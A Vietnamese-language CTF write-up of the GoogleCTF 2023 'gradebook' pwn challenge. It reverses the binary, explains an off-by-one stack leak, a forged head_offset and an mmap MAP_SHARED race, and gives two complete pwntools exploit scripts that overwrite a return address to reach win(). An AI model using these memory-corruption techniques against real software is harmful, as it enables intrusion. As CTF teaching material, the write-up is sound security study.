GoogleCTF 2023 Quals

gradebook

Vulnerability: Chương trình giả sử rằng room chỉ có 3 ký tự, nhưng lại cho phép attacker nhập 4 ký tự, dẫn đến ghi đè null terminator và leak dữ liệu trên stack. Tiếp đến, chương trình tin rằng các metadata của file gradebook là hợp lệ, tuy nhiên attack có thể làm giả field head_offset, dẫn đến làm giả toàn bộ field khác, hoặc chỉnh sửa metadata sau khi đã load file do chia sẻ vùng nhớ -> đọc ghi tùy ý.

February 14, 2026 January 8, 2026 Hard
Author Author Hung Nguyen Tuong

Recon

Mitigation

$ pwn checksec chal
	[*] '/home/hungnt/ctfs/google-ctf/2023/quals/pwn/pwn-gradebook/challenge/chal'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ file chal
chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e55478cfcc40c40793cf323e8beb0f594089b593, for GNU/Linux 3.2.0, stripped

Binary bật full mitigation và đã bị stripped.

Code

Sau một lúc reverse mình có các struct như sau:

GradeBook struct

00000000 GradeBook       struc ; (sizeof=0x60, align=0x8, mappedto_21)
00000000 id              dd ?
00000004 year            dd ?
00000008 last_name       db 32 dup(?)
00000028 first_name      db 32 dup(?)
00000048 file_size       dq ?
00000050 head_offset     dq ?
00000058 next_free_offset dq ?
00000060 GradeBook       ends

GradeEntry struct

00000000 GradeEntry      struc ; (sizeof=0x40, align=0x8, mappedto_22)
00000000 class_id        db 8 dup(?)
00000008 course          db 22 dup(?)
0000001E grade           dw ?
00000020 teacher         db 12 dup(?)
0000002C room            dd ?
00000030 period          dq ?
00000038 next_offset     dq ?
00000040 GradeEntry      ends

main()

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char password[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  print("\nWELCOME TO THE GOOGLE PUBLIC SCHOOL DISTRICT DATANET\n\nPLEASE LOGON WITH USER PASSWORD:\n");
  __isoc99_scanf("%30s", password);
  if ( !strcmp(password, "pencil") )
  {
    print("\nPASSWORD VERIFIED\n\n");
    while ( 1 )
    {
      if ( gradeBook )
        file_opened();
      else
        file_not_opened();
    }
  }
  print("\nACCESS DENIED\n");
  return 0LL;
}

Nhập password là “pencil” để tiếp tục.

file_not_opened()

unsigned __int64 file_not_opened()
{
  int i; // [rsp+0h] [rbp-100h]
  int choice; // [rsp+4h] [rbp-FCh]
  unsigned __int64 j; // [rsp+8h] [rbp-F8h]
  struct stat buf; // [rsp+10h] [rbp-F0h] BYREF
  _BYTE random_bytes[16]; // [rsp+A0h] [rbp-60h] BYREF
  char filename[8]; // [rsp+B0h] [rbp-50h] BYREF
  __int64 v7; // [rsp+B8h] [rbp-48h]
  __int64 v8; // [rsp+C0h] [rbp-40h]
  __int64 v9; // [rsp+C8h] [rbp-38h]
  __int64 v10; // [rsp+D0h] [rbp-30h]
  __int64 v11; // [rsp+D8h] [rbp-28h]
  __int64 v12; // [rsp+E0h] [rbp-20h]
  __int64 v13; // [rsp+E8h] [rbp-18h]
  unsigned __int64 v14; // [rsp+F8h] [rbp-8h]

  v14 = __readfsqword(0x28u);
  print("MENU:\n");
  print("1. OPEN STUDENT FILE\n");
  print("2. UPLOAD STUDENT FILE\n");
  print("3. QUIT\n");
  print("\n");
  choice = input_n();
  *(_QWORD *)filename = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  v13 = 0LL;
  switch ( choice )
  {
    case 1:
      if ( is_invalid(filename) )
      {
        print("INVALID NAME\n");
      }
      else
      {
        gradebook_fd = open(filename, 2);
        if ( gradebook_fd >= 0 )
        {
          if ( fstat(gradebook_fd, &buf) >= 0 )
          {
            global_file_size = buf.st_size;
            gradeBook = (GradeBook *)mmap((void *)0x4752ADE50000LL, buf.st_size, 3, 1, gradebook_fd, 0LL);
            if ( gradeBook == (GradeBook *)0x4752ADE50000LL )
            {
              if ( global_file_size < MEMORY[0x4752ADE50048]
                || gradeBook->file_size < gradeBook->next_free_offset
                || gradeBook->next_free_offset <= 0x5FuLL )
              {
                puts("GRADEBOOK CORRUPTED");
                remove();
              }
            }
            else
            {
              remove();
              print("ERROR\n");
            }
          }
          else
          {
            close(gradebook_fd);
            print("ERROR\n");
          }
        }
        else
        {
          print("ERROR\n");
        }
      }
      break;
    case 2:
      if ( is_invalid(filename) )
      {
        print("FILE NOT FOUND. GENERATING RANDOM NAME.\n");
        strcpy(filename, src);
        getrandom(random_bytes, 16LL, 0LL);
        for ( i = 0; i <= 15; ++i )
        {
          filename[2 * i + 12] = hex_chars[random_bytes[i] >> 4];
          filename[2 * i + 13] = hex_chars[random_bytes[i] & 0xF];
        }
        BYTE4(v11) = 0;
        print("GENERATED FILENAME: ");
        print((unsigned __int8 *)filename);
        print("\n");
      }
      write_file(filename);
      break;
    case 3:
      exit(0);
    case 1337:
      print("WELCOME PROFESSOR FALKEN. LET'S PLAY A GAME OF RUSSIAN ROULETTE.\n");
      __isoc99_scanf("%c", &random_bytes[1]);
      for ( j = 0LL; j <= 999; ++j )
      {
        __isoc99_scanf("%c", &random_bytes[1]);
        getrandom(random_bytes, 1LL, 0LL);
        if ( random_bytes[0] <= 41u )
        {
          print("... *BAM!*\n-- CONNECTION TERMINATED --\n");
          exit(0);
        }
        print("... *click*\n");
      }
      win();
  }
  return v14 - __readfsqword(0x28u);
}

Option 1 cho phép mình ánh xạ file vào địa chỉ cụ thể là 0x4752ADE50000 (ảo) bao gồm kích thước file buf.st_size, quyền truy cập 3 (read + write), cờ 1 (MAP_SHARED), fd và offset 0. Vì ko có cờ MAX_FIXED, địa chỉ 0x4752ADE50000 chỉ là một gợi ý cho kernel. Kernel sẽ cố gắng cấp phát gần với vùng này nếu có thể, vì thế ko đảm bảo chính xác vị trí.

Với MAP_SHARED, process truy cập trực tiếp vào nguồn dữ liệu gốc. Khi ghi vào vùng nhớ được ánh xạ, các thay đổi được ghi vào page cache trong RAM trước (cache lại những dữ liệu được truy cập thường xuyên từ bộ nhớ ngoài vào RAM). Sau đó kernel sẽ quyết định thời điểm flush dữ liệu từ RAM xuống bộ nhớ ngoài.

Chương trình kiểm tra tính hợp lệ của gradebook bằng:

  1. Được kernel map chính xác vào địa chỉ 0x4752ADE50000.
  2. Kích cỡ file thực tế st_size phải >= gradeBook->file_size.
  3. gradeBook->file_size >= gradeBook->next_free_offset, tránh tạo gradeEntry mới vượt ngoài vùng được ánh xạ.
  4. gradeBook->next_free_offset > 0x5F, tránh tạo gradeEntry mới đè vào các trường của gradebook.

Option 2 thì cho phép mình upload một gradebook tùy ý.

Option 3 chơi russian roulette, khả năng thắng là siêu thấp :v

file_opened()

int file_opened()
{
  int choice; // eax
  size_t i; // [rsp+10h] [rbp-10h]
  GradeEntry *gradeEntry; // [rsp+18h] [rbp-8h]

  print("\n\n  ");
  print_n(gradeBook->year);
  print(", STUDENT NAME: ");
  sub_158B(gradeBook->first_name, 32LL);
  print(", ");
  sub_158B(gradeBook->last_name, 32LL);
  print("\n\n\n\n");
  print("  CLASS #   COURSE TITLE         GRADE    TEACHER    PERIOD    ROOM\n");
  print(byte_3260);
  grade_iter((__int64 (__fastcall *)(_QWORD *, __int64))print_grade);
  print(newlines);
  print("MENU:\n");
  print("1. ADD GRADE\n");
  print("2. UPDATE GRADE\n");
  print("3. REMOVE GRADE\n");
  print("4. DOWNLOAD GRADEBOOK\n");
  print("5. CLOSE GRADEBOOK\n");
  print("6. QUIT\n");
  print("\n");
  choice = input_n();
  switch ( choice )
  {
    case 1:
      if ( gradeBook->file_size >= (unsigned __int64)(gradeBook->next_free_offset + 64LL) )
      {
        gradeEntry = (GradeEntry *)((char *)gradeBook + gradeBook->next_free_offset);
        print("CLASS:\n");
        __isoc99_scanf("%8s", gradeEntry);
        print("COURSE TITLE:\n");
        __isoc99_scanf(" %22[^\n]", gradeEntry->course);
        print("GRADE:\n");
        __isoc99_scanf("%2s", &gradeEntry->grade);
        print("TEACHER:\n");
        __isoc99_scanf("%12s", gradeEntry->teacher);
        print("ROOM:\n");
        __isoc99_scanf("%4s", &gradeEntry->room);
        print("PERIOD:\n");
        gradeEntry->period = input_n();
        gradeEntry->next_offset = 0LL;
        grade_iter((__int64 (__fastcall *)(_QWORD *, __int64))add_grade);
        choice = (int)gradeBook;
        gradeBook->next_free_offset += 64LL;
      }
      else
      {
        return print("GRADEBOOK FULL\n");
      }
      break;
    case 2:
      print("WHICH GRADE:\n");
      grade_idx = input_n();
      return grade_iter((__int64 (__fastcall *)(_QWORD *, __int64))update_grade);
    case 3:
      print("WHICH GRADE:\n");
      grade_idx = input_n();
      return grade_iter((__int64 (__fastcall *)(_QWORD *, __int64))remove_grade);
    case 4:
      print(newlines);
      for ( i = 0LL; i < global_file_size; ++i )
        sub_14A8(*((_BYTE *)&gradeBook->id + i));
      return print(newlines);
    case 5:
      return remove();
    case 6:
      exit(0);
  }
  return choice;
}

Chương trình tổ chức các gradeEntry theo dạng link list sử dụng offset thay vì con trỏ. Nên với mỗi option 1,2,3, grade_iter được dùng để duyệt qua các grade và gọi con trỏ hàm tương ứng.

grade_iter()

int __fastcall grade_iter(__int64 (__fastcall *func)(_QWORD *, __int64))
{
  __int64 idx; // rax
  _QWORD *next_offset; // [rsp+10h] [rbp-10h]
  __int64 next_free_idx; // [rsp+18h] [rbp-8h]

  next_offset = &gradeBook->head_offset;
  next_free_idx = 1LL;
  while ( *next_offset )
  {
    if ( *next_offset >= gradeBook->file_size || gradeBook->file_size < (unsigned __int64)(*next_offset + 64LL) )
    {
      puts("GRADEBOOK CORRUPTED");
      return remove();
    }
    idx = next_free_idx++;
    func(next_offset, idx);
    next_offset = &gradeBook->first_name[*next_offset + 16];
  }
  return func(next_offset, next_free_idx);
}

Tại đây tiếp tục so sánh giá trị gradeEntry->next_offset và gradeBook->file_size để tránh corrupt.

print_grade()

unsigned __int64 __fastcall print_grade(_QWORD *next_offset)
{
  GradeEntry *gradeEntry; // [rsp+10h] [rbp-60h]
  unsigned __int8 buf[3]; // [rsp+18h] [rbp-58h] BYREF
  char v4[9]; // [rsp+1Bh] [rbp-55h] BYREF
  char v5[23]; // [rsp+24h] [rbp-4Ch] BYREF
  char v6[7]; // [rsp+3Bh] [rbp-35h] BYREF
  char v7[13]; // [rsp+42h] [rbp-2Eh] BYREF
  char v8[8]; // [rsp+4Fh] [rbp-21h] BYREF
  unsigned __int8 v9[17]; // [rsp+57h] [rbp-19h] BYREF
  unsigned __int64 v10; // [rsp+68h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  if ( *next_offset )
  {
    gradeEntry = (GradeEntry *)((char *)gradeBook + *next_offset);
    memset(buf, ' ', 72uLL);
    v9[3] = 0;
    sub_1DBD(buf, "   ", 3LL);
    sub_1DBD((unsigned __int8 *)v4, gradeEntry->class_id, 8LL);
    sub_1DBD((unsigned __int8 *)v5, gradeEntry->course, 22LL);
    sub_1DBD((unsigned __int8 *)v6, (unsigned __int8 *)&gradeEntry->grade, 2LL);
    sub_1DBD((unsigned __int8 *)v7, gradeEntry->teacher, 12LL);
    sub_1E0F((unsigned __int8 *)v8, gradeEntry->period, 4LL);
    sub_1DBD(v9, (unsigned __int8 *)&gradeEntry->room, 4LL);// overwrite null byte -> leak stack data
    print(buf);
    print("\n");
  }
  return v10 - __readfsqword(0x28u);
}

update_grade()

unsigned __int64 __fastcall update_grade(_QWORD *next_offset, __int64 idx)
{
  GradeEntry *gradeEntry; // [rsp+18h] [rbp-18h]
  __int64 new_grade; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( *next_offset && idx == grade_idx )
  {
    gradeEntry = (GradeEntry *)((char *)gradeBook + *next_offset);
    new_grade = 0LL;
    print("NEW GRADE:\n");
    __isoc99_scanf("%2s", &new_grade);
    gradeEntry->grade = new_grade;
  }
  return v5 - __readfsqword(0x28u);
}

Unintended Solution (My Solve)

Ban đầu, mục tiêu của mình là làm sao có được AAR bằng cách lợi dụng hàm print_grade(), có được AAW bằng cách lợi dụng option 1 khi add grade.

Để có được AAR, mình cần điều khiển được giá trị next_offset tại:

gradeEntry = (GradeEntry *)((char *)gradeBook + *next_offset);

Để có được AAW, mình cần điều khiển được giá trị gradeBook->next_free_offset tại:

gradeEntry = (GradeEntry *)((char *)gradeBook + gradeBook->next_free_offset);

Tuy nhiên, mình cần phải bypass được các checks corrupted gradebook so sánh với gradeBook->file_size.

Nhìn ở option 1 khi load file:

if ( gradeBook == (GradeBook *)0x4752ADE50000LL )
{
  if ( global_file_size < MEMORY[0x4752ADE50048]
	|| gradeBook->file_size < gradeBook->next_free_offset
	|| gradeBook->next_free_offset <= 0x5FuLL )
  {
	puts("GRADEBOOK CORRUPTED");
	remove();
  }
}

gradeBook->file_size và gradeBook->next_free_offset đều bị check nghiêm ngặt, nên ko thể điều khiển chúng ngay từ ban đầu.

Nhưng gradeBook->head_offset thì ko bị check. Mà việc loop qua các gradeEntry trong grade_iter() lại phụ thuộc vào gradeBook->head_offset. Nên ý tưởng của mình đó là kiểm soát giá trị gradeBook->head_offset khi upload file sao cho trường grade của gradeEntry đầu tiên trùng với gradeBook->next_free_offset, sau đó sử dụng update_grade() để kiểm soát gradeBook->next_free_offset.

Tiếp tục, kiểm soát gradeBook->next_free_offset sao cho việc cấp gradeEntry mới sẽ cho phép mình ghi đè và kiểm soát file_size, head_offset, next_free_offset. Dẫn đến bypass được các checks corrupted gradebook và có khả năng AAR và AAW.

AAW thì ok rồi, nhưng mà AAR thì vẫn mắc tại vì mình ko có offset từ vùng được map đến các nơi khác trong bộ nhớ như binary, stack, libc,…

Sau một hồi vọc vạch, mình thử add grade và nhập toàn A để thử xem có overflow gì ko:

Mình phát hiện ra thứ có vẻ như là địa chỉ stack bởi nó kết thúc bằng byte 0x7f.

Nhìn vào print_grade():

  if ( *next_offset )
  {
    gradeEntry = (GradeEntry *)((char *)gradeBook + *next_offset);
    memset(buf, ' ', 72uLL);
    v9[3] = 0;
    sub_1DBD(buf, "   ", 3LL);
	...
    sub_1DBD(v9, (unsigned __int8 *)&gradeEntry->room, 4LL);
    print(buf);
    print("\n");
  }

Có vẻ như chương trình giả định rằng gradeEntry->room sẽ chỉ có 3 ký tự, nên đặt v9[3] = 0 để ngắt chuỗi, tuy nhiên đối số len được truyền vào là 4, ghi đè vào null byte, khiến cho việc đọc dữ liệu vượt ra ngoài gradeEntry->room, leak giá trị trên stack.

Khi đã có được địa chỉ stack, việc còn lại khá là straight forward:

  1. Ghi đè gradeBook->head_offset đến vị trí nào đó trên stack, dùng print_grade() để leak địa chỉ binary, bypass PIE, tính toán được địa chỉ hàm win().
  2. Ghi đè gradeBook->next_free_offset đến gần vị trí return address của hàm file_opened(), dùng option 1 add grade, ghi đè return address để chuyển luồng thực thi đến win().
  3. Lợi nhuận.

Script

#!/usr/bin/env python3

from pwn import *
import os

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("chal_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("./ld-2.35.so", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
# breakrva 0x1E83
# breakrva 0x2397
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(0.5)
        return p
    else:
        host = "localhost"
        port = 36349
        return remote(host, port)

if args.LOCAL:
    os.system('rm -rf /tmp/grades*')

def sign_in(p):
    print("Signing in...")
    sla(p, b'PASSWORD', b'pencil')

def open_file(p, filename):
    print(f"Opening file: {filename}...")
    sln(p, 1)
    sla(p, b'FILENAME', filename.encode())

def create_file(p, gradebook):
    sln(p, 2)
    sla(p, b'FILENAME', b'A')
    ru(p, b'GENERATED FILENAME:')
    filename = rl(p).strip().decode()
    print(f"Creating file: {filename}...")
    slan(p, b'SIZE', len(gradebook))
    sa(p, b'DATA', gradebook)
    return filename

def add_grade(p, class_, course, grade, teacher, room, period):
    print("Adding grade...")
    slan(p, b'QUIT', 1)
    sla(p, b'CLASS:', class_)
    sla(p, b'TITLE', course)
    sla(p, b'GRADE', grade)
    sla(p, b'TEACHER', teacher)
    sla(p, b'ROOM', room)
    slan(p, b'PERIOD', period)

def update_grade(p, idx, grade):
    print("Updating grade...")
    slan(p, b'QUIT', 2)
    slan(p, b'WHICH GRADE', idx)
    sla(p, b'NEW GRADE', grade)

def close_gradebook(p):
    slan(p, b'QUIT', 5)
    print("Gradebook closed")

with open('gradebook', 'rb') as f:
    gradebook = f.read()

mmap_base = 0x4752ade50000

p = conn()

sign_in(p)

open_file(p, create_file(p, gradebook))

print("Leaking stack address...")
add_grade(p, b'class', b'course', b'A+', b'teacher', b'room', 0)

ru(p, b'room' + pad(5, b' '))
stack = leak_bytes(rn(p, 6))
lg('Stack address', stack)

gradebook = bytearray(gradebook)
head_offset_offset = 0x50

# Set head_offset = 0x3a
# Update grade entry index 1 -> write to next_free_offset
lg("Set head_offset", 0x3a)
gradebook[head_offset_offset:head_offset_offset + 8] = p64(0x3a)

close_gradebook(p)

open_file(p, create_file(p, gradebook))

# Set next_free_offset = 0x48
# Add grade -> write to file_size, head_offset, next_free_offset
lg("Set next_free_offset", 0x48)
update_grade(p, 1, p64(0x48))

first_grade = stack - 0x1b0
lg("First grade offset", first_grade)
lg("Set head_offset", first_grade - mmap_base)

print("Leaking binary address...")

add_grade(p,
          # file_size
          pad(8, b'\xff'),
          # head_offset, next_free_offset
          p64(first_grade - mmap_base) + p64(0),
          b'A', b'A', b'A', 0
        )

ru(p, b'\x94\n   ')
exe.address = leak_bytes(rn(p, 6), 0x21ff)
lg('Binary base', exe.address)
win = exe.address + 0x193D
lg('win()', win)

close_gradebook(p)

open_file(p, create_file(p, gradebook))

lg("Set next_free_offset", 0x48)
update_grade(p, 1, p64(0x48))

ret = stack - 0x150
lg('Return address at', ret)
next_free_offset = ret - mmap_base - 0x50
lg('Set next_free_offset', next_free_offset)
# For some reasons, -0x50 works, though it should be -0x40

add_grade(p,
          # file_size
          pad(8, b'\xff'),
          # head_offset, next_free_offset
          p64(0x400) + p64(next_free_offset),
          b'A', b'A', b'A', 0
        )

print("Overwrite return address...")
add_grade(p, p64(stack - 0x160), pad(8) + p64(win), b'A', b'A', b'A', 0)

print("Return to system('cat /flag')")

ru(p, b'CTF')
print(f"Flag: CTF{rl(p).strip().decode()}")

Intended Solution

Intended solution của bài này khác với solution của mình ở việc bypass các checks để fake các trường file_size, head_offset, next_free_offset, bằng cách lợi dụng toc-tou. Đơn giản hơn nhiều so với cách của mình.

Flag MAP_SHARED khi mmap() đặc biệt ở chỗ là khi 2 process cùng map vào vùng đó, nếu process này thực hiện ghi, thì process kia cũng sẽ đọc được dữ liệu đó. Mình lợi dụng điều này thực hiện toc-tou:

  1. Upload và mở 1 file gradebook bình thường ở process 1.
  2. Ở process 2, ghi vào file gradebook cùng tên để kiểm soát các trường quan trọng.
  3. Process 1 đã pass các checks khi mở file nên bây giờ sẽ sử dụng các giá trị mình đã kiểm soát. -> Cũng AAR, AAW trên stack để return về win() là xong.

Script

#!/usr/bin/env python3

from pwn import *
import os

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("chal_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("./ld-2.35.so", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
# breakrva 0x1E83
# breakrva 0x2397
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(0.5)
        return p
    else:
        host = "localhost"
        port = 42297
        return remote(host, port)

if args.LOCAL:
    os.system('rm -rf /tmp/grades*')

def sign_in(p):
    print("Signing in...")
    sla(p, b'PASSWORD', b'pencil')

def open_file(p, filename):
    print(f"Opening file: {filename}...")
    sln(p, 1)
    sla(p, b'FILENAME', filename.encode())

def create_file(p, gradebook):
    sln(p, 2)
    sla(p, b'FILENAME', b'A')
    ru(p, b'GENERATED FILENAME:')
    filename = rl(p).strip().decode()
    print(f"Creating file: {filename}...")
    slan(p, b'SIZE', len(gradebook))
    sa(p, b'DATA', gradebook)
    return filename

def write_file(p, filename, gradebook):
    sln(p, 2)
    sla(p, b'FILENAME', filename.encode())
    print(f"Writing file: {filename}...")
    slan(p, b'SIZE', len(gradebook))
    sa(p, b'DATA', gradebook)

def add_grade(p, class_, course, grade, teacher, room, period):
    print("Adding grade...")
    slan(p, b'QUIT', 1)
    sla(p, b'CLASS:', class_)
    sla(p, b'TITLE', course)
    sla(p, b'GRADE', grade)
    sla(p, b'TEACHER', teacher)
    sla(p, b'ROOM', room)
    slan(p, b'PERIOD', period)

def update_grade(p, idx, grade):
    print("Updating grade...")
    slan(p, b'QUIT', 2)
    slan(p, b'WHICH GRADE', idx)
    sla(p, b'NEW GRADE', grade)

def download_gradebook(p):
    slan(p, b'QUIT', 4)
    print("Downloading gradebook...")

def close_gradebook(p):
    slan(p, b'QUIT', 5)
    print("Gradebook closed")

with open('gradebook', 'rb') as f:
    gradebook_origin = f.read()

mmap_base = 0x4752ade50000

p = conn()

sign_in(p)

filename = create_file(p, gradebook_origin)
open_file(p, filename)

print("Leaking stack address...")
add_grade(p, b'class', b'course', b'A+', b'teacher', b'room', 0)

ru(p, b'room' + pad(5, b' '))
stack = leak_bytes(rn(p, 6))
lg('Stack address', stack)

first_grade = stack - 0x1b0
lg("First grade offset", first_grade)
lg("Set head_offset", first_grade - mmap_base)

gradebook = bytearray(gradebook_origin)
file_size = 0x48
head_offset = 0x50
gradebook[file_size:file_size + 8] = pad(8, b'\xff')
gradebook[head_offset:head_offset + 8] = p64(first_grade - mmap_base)

p1 = conn()

sign_in(p1)

write_file(p1, filename, gradebook)

print("Leaking binary address...")

download_gradebook(p)

ru(p, b'\x94\n   ')
exe.address = leak_bytes(rn(p, 6), 0x21ff)
lg('Binary base', exe.address)
win = exe.address + 0x193D
lg('win()', win)

close_gradebook(p)

filename = create_file(p, gradebook_origin)
open_file(p, filename)

ret = stack - 0x150
lg('Return address at', ret)
next = ret - mmap_base
lg('Set next_free_offset', next)

next_free_offset = 0x58
gradebook[next_free_offset:next_free_offset + 8] = p64(next)

write_file(p1, filename, gradebook)

print("Overwrite return address...")
add_grade(p, p64(win), b'A', b'A', b'A', b'A', 0)

print("Return to system('cat /flag')")

ru(p, b'CTF')
print(f"Flag: CTF{rl(p).strip().decode()}")